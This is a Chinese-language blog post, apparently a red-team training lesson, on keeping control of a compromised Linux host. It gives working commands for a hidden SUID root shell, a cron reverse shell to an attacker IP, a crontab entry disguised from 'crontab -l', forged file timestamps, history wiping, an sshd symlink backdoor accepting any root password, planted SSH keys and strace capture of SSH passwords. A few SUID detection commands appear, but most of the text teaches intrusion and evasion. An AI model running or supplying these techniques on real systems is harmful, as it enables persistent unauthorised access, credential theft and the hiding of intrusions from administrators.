A05.Linux下的后门植入与权限持久化(一)

Linux下的后门植入与权限持久化(一)

红队人员利用漏洞获取到某台机器的控制权限之后,会考虑将该机器作为一个持久化的据点,植入一个具备持久化的后门,进行权限维持,从而可以长期连接被控制的主机。

前面我们学习了SQL注入,webshell上传,权限提升,取得了目标机器的最高权限。但如果之后被真正的管理员发现了新加的gg用户、网站留下的一句话木马文件、系统漏洞等,管理员肯定是会把漏洞修复,黑客入侵留下的木马文件和gg用户也会被删除。

所以,在真正的管理员发现之前,黑客会想办法留下后门,进行权限持久化(权限维持),以便之后持续控制目标机器。

本节内容将会从基本的后门、SSH后门、协议后门、Rootkit后门这几个大方向进行学习。需要说明的是,Linux上植入后门的方法很多,本文没有详细的去研究各种后门,主要是想通过介绍的这些后门程序认识到黑客的各种“奇怪思路”,和正常情况下都不会用到的一些方法。

本节的实验需要在前一节安装了后门检测工具的实验环境中完成。

基本后门

SUID后门

SUID 是 Set User ID,Linux内核根据运行这个程序的用户的有效ID来确定进程对资源的访问权限,包括user id 和group id。SUID的作用是把可执行程序所有者的权限赋予可执行程序,无论执行程序的是哪位用户,可执行程序都拥有它的所有者的权限。

简单的来说,就是当你在一个只能root权限操作的程序上设置了suid位后,其他用户也能进行操作了。

首先,在已取得权限的目标机中使用已有的root权限用户执行以下命令:

cp /bin/bash /.woot
chmod 4755 /.woot
ls -al /.woot

这三行的意思是复制bash,并给这个复制品woot设置一个suid位(标志位是4),“.”的目的是为了隐藏文件。当然,还可以起其他更具备隐藏性的名字。

chmod 4755与 chmod 755 的区别在于开头多了一位,这个4即设置SUID位,表示其他用户执行文件时,具有与文件所有者的权限。例如,普通用户运行/bin/bash时,bash进程只有普通用户的权限,将bash设置了suid位时,由于bash程序的文件所有者是root,普通用户运行bash时也拥有了root的权限。

查看复制后的bash程序,已经有了suid标志位。

[root@localhost ~]# ls -al /.woot
-rwsr-xr-x. 1 root root 964536 Jun 27 09:51 /.woot

然后,切换成普通用户来启用这个后门:/.woot -p

从图中可以看出,先切换到www用户,然后whoami查看当前权限,然后执行/.woot进入bash执行whoami还是www,这时查看shadow文件是没有权限的,这是因为bash2已经对suid有防护了,我们需要使用-p参数来获取root shell,所以使用/.woot -p启用后门后,whoami变成了root,也可以查看shadow文件了。

检测是否有suid后门的方法:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

执行以上任意一条命令都可以在最后几行中查出/.woot这个后门。

Cron后门

Linux crontab是用来定期执行程序的命令。当安装完成操作系统之后,默认便会启动此任务调度命令。crond 命令每分钟会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。注意:新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行。

通过Crontab程序调度已安装的后门程序定时运行,crontab命令用于设置周期性被执行的指令。

首先,新建脚本文件,利用脚本运行一个反弹shell,如/etc/evil.sh。

vi /etc/evil.sh
bash -i >& /dev/tcp/192.168.142.135/12345 0>&1
chmod +sx /etc/evil.sh

其次,使用命令crontab -e 设置定时任务,每一分钟执行一次:

*/1 * * * * root; /etc/evil.sh

重启crond服务:service crond restart,然后就可以用nc接收shell。

在kali虚拟机中使用命令:nc -lvp 12345就可以等着shell反弹过来。

其实管理员使用crontab -l就很容易发现这个后门,所以我们还可以升级一下,执行crontab -l后提示“no crontab for root”,给管理员造成假象:

(crontab -l;printf "*/1 * * * * /etc/evil.sh;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

crontab将用户的计划任务保存到“/var/spool/cron/用户名”文件中。crontab -l实际上是使用cat命令查看这个文件,所以当前用户使用crontab -l时就不会看到文件的真正内容,这种情况下可以使用crontab -e命令查看。

后门的痕迹隐藏

修改文件时间属性

先随意创建一个文件,例如:shell.php,创建在/root目录下。通过ll命令可以看见当前目录下所有文件的文件属性。

可以看出这两个文件的最后修改时间是不同的。如果管理员查找是否有什么文件被修改过,就可以通过这种方式快速查找出来,这时候我们将shell.php文件的修改时间改成与anaconda-ks.cfg文件相同。

touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件。

touch -r anaconda-ks.cfg shell.php

这样一来,管理员就会忽略这个文件,认为这个文件是没有被修改过的。

设置文件锁定

在Linux中,使用chattr命令设置文件属性,使得root用户和其他管理员用户也无法修改删除文件,此权限用ls -l是无法查到的,达到隐藏权限的作用。

不得任意更改文件或目录:chattr +i shell.php

虽然ls -l无法查到,但lsattr可以显示文件属性:lsattr shell.php

上图是执行chatter命令后,使用删除命令rm -rf shell.php 测试root权限也不能删除该文件。

解除锁定属性:chattr -i shell.php、lsattr shell.php

解除后就可以删除或移动该文件。

处理历史记录

管理员还可以通过history命令来查看历史命令记录,我们可以通过关闭历史记录或者删除历史记录来避免我们的操作被记录在历史记录中。

关闭历史记录:set +o history

注:直接输入这条命令之后,使用history可以看到这条命令。但是在set前加一个空格之后,这条命令就不会再history中显示了,同理,其他命令前加一个空格,也不会记录到history中。

开启历史记录:set -o history

删除历史记录

使用命令:history -c,清除本次留在缓存中的所有操作记录。

还有就是在 ~/.bash_history文件中也有记录,想要删除的更彻底的话,可以直接删除这个文件里的记录:sed -i '1,$d' .bash_history,此命令的意思是只留.bash_history文件中的前一行。

各种SSH后门

SSHD软连接后门

pam_rootok.so模块的主要作用是使uid为0的用户,即root用户能够直接通过认证而不用输入密码。例如,当以root用户执行“su”切换到普通用户身份的时候,不需要输入任何口令就可以直接切换过去。查看一下/etc/pam.d/su文件的内容,会发现该文件有这样一行配置:

auth sufficient pam_rootok.so

这就是root用户执行su命令时,不需要使用口令的原因。

利用这个特点,建立SSHD软连接后门,可以实现root用户的任意密码登录。利用条件是SSHD服务中开启了PAM认证机制(默认开启)。

SSHD服务中开启了PAM认证后,通过特定的端口连接sshd时,应用在启动过程中就会去找PAM相关配置文件,通常是在/etc/pam.d/目录中搜寻,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,这样就实现了无密码登录。

如果SSHD服务配置中没有开启PAM进行身份验证,则无法利用SSHD软链接后门。

了解了以上原理之后,下面进行实验来验证一下,在目标服务器上执行以下命令。

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -o port=31337;
注意:软链接的路径自由选择的,但名字不是随便命名的,使用命令find /etc/pam.d|xargs grep "pam_rootok",出现的则可以用作软链接名称。

执行后就会系统就会新开一个31337端口,使用ssh客户端软件连接31337端口,用root作为用户名,密码随意输入一个,就可以成功登陆。

在kali中执行:ssh root@192.168.142.146 -p 31337,或使用终端工具连接,提示密码时,随意输入即可。注意这里的192.168.142.146是已经拿到root权限的目标服务器的IP地址。

注意:如果使用的是上一节的环境,那么这个地方可能会出现31337端口无法连接的情况。原因可能是因为小皮面板中的防火墙没有放行31337端口导致的。那么要去小皮面板中放行这个端口,就需要登录面板,可是账号密码我们一无所知,没关系,我们不是已经取得了root权限了吗,所以执行命令xp,就可以唤出小皮面板的管理shell,我们可以直接“查看首次安装信息”,获取登录地址与账号密码;或者直接“修改登录密码”,均不需要输入以前的密码。获得账号密码后就可以登录小皮面板后台,在左侧第12项“服务器防火墙”中,端口控制输入框里输入31337端口,点击“放行”即可。

SSH公钥免密登录

SSH公钥认证是 SSH的认证方式之一,通过公钥认证可以实现 SSH免密码登录。SSH无密码登录要使用公钥与私钥。Linux下可以用用ssh-keygen生成公钥/私钥对。

目标机器IP:192.168.142.146

Kali机器IP:192.168.142.135 实现kali机不要密码登录到目标机器。

首先,在kali上生成公钥私钥对:

ssh-keygen -t rsa -P ''

注意:-P表示密码,-P '' 就表示空密码,也可以不用-P参数,这样就要三次回车,用-P就一次回车。该命令将在/home/kali/.ssh目录下面产生一对密钥id_rsa和id_rsa.pub。

然后,把Kali机下的/home/kali/.ssh/id_rsa.pub复制到目标机的/root/.ssh/authorized_keys文件里,先要在目标机上创建好 /root/.ssh 这个目录,用scp复制。

目标机执行:

mkdir -p /root/.ssh/

Kali上执行:

scp /home/kali/.ssh/id_rsa.pub gg@192.168.142.146:/root/.ssh/authorized_keys

这里的gg是我们取得目标机root权限的用户。

然后将authorized_keys文件的权限设置为600。

chmod 600 /root/.ssh/authorized_keys

然后在kali机上直接使用root名就可以免密登录目标服务器了:

ssh -l root 192.168.142.146

大概过程就是A生成密钥通过scp传到B,赋权限,A机就可以免密码登录B机了。

SSH Keylogger

strace是Linux提供的跟踪系统调用的工具,用它可以监控用户空间进程和内核的交互,比如系统调用、信号传递、进程状态变更等。strace作为一种动态跟踪工具,可以对进程的系统调用和信号传递来监视分析,了解进程的具体工作过程。

在运维的日常工作中,故障处理和问题诊断是必备的技能。strace作为一种动态跟踪工具,可以对进程的系统调用和信号传递来监视分析,了解进程的具体工作过程,帮助运维人员高效地定位进程和服务故障。

利用strace工具跟踪ssh进程,获取ssh进程的读写连接的数据,如果用户使用ssh命令登录其它计算机时,就可以抓取到用户输入的明文密码。

如果当前系统没有安装strace工具,就通过yum命令安装一下。

yum install -y strace

了解了以上原理之后,下面进行实验来验证一下。

在当前用户的.bashrc里新建一条alias,对正常的ssh命令进行跟踪和记录。

cd /root
vi .bashrc

在.bashrc文件的最后一行写入

alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

然后重新加载.bashrc文件,使其生效。

source .bashrc

接下来使用ssh命令连接其他机器,比如,我们使用ssh命令连接另外一台虚拟机IP:192.168.142.133,然后输入密码。

之后,回到被控制的目标机中,查看放在/tmp目录下是否产生了日志文件,注意需要使用命令ls -a才能查看,因为是创建的隐藏文件。

然后打开新产生的日志文件, 里面就包含了ssh连接时输入的密码,但内容太多,不容易找到,在vi里查找关键词password(SSH登录时要输入密码前的提示字符串),在第2个password后面就可以看到密码。

vi .sshpwd-27Jun061624836961.log

strace监听SSHD流量

设想一下,上面我们通过strace来监视ssh客户端进程,获取到了其它机器的ssh登录密码。如果反其道而行之后,使用strace来监视sshd服务端进程,那又会如何?是不是就可以获得别人连接到当前机器使用的密码?

这种方法的应用场景一般是这样,如通过提权漏洞获取到了root权限,但并不知道root用户的明文密码,记录到root用户的密码后,在内网的横向扩展中可以使用。

下面还是通过实验来进行验证。

执行以下两条命令后,当有其他机器ssh连接本机器时,无论密码正确还是错误,都会被记录到/tmp/.ssh.log这个日志文件中。

ps -ef | grep sshd //找到进程的PID

然后使用strace命令来监视sshd进程,选项-f表示跟踪创建的子进程。

strace -f -p 6528 -o /tmp/.ssh.log

注意:第二行的命令中的6528是第一行命令中/usr/sbin/sshd -D行的pid号。

执行strace命令后,从另一台机器通过ssh登录到当前主机,登录成功后,回到当前计算机,按下CTRL+C键,结束strace进程。

然后通过搜索系统调用read(),来找出密码。其中6是文件描述符,指向/run/systemd/sessions/登录会话文件。

grep "read(6" /tmp/.ssh.log | tail -n 11

如果以上方法查找不到,也可以使用vi打开日志文件,查找字符串ssh-connection,在文件中第二处ssh-connection下边几行,也可以找到密码,下图是另一个用户登录的,因此密码与上边的不同。通过几次实验,摸索密码的规律,=号后边的11,代表read函数读取了11个字节,减去前边的反斜线数量5个,就等于密码的位数6,然后倒着取6位数,即是密码。

posted @ 2026-05-04 13:45  putiji  阅读(49)  评论(0)    收藏  举报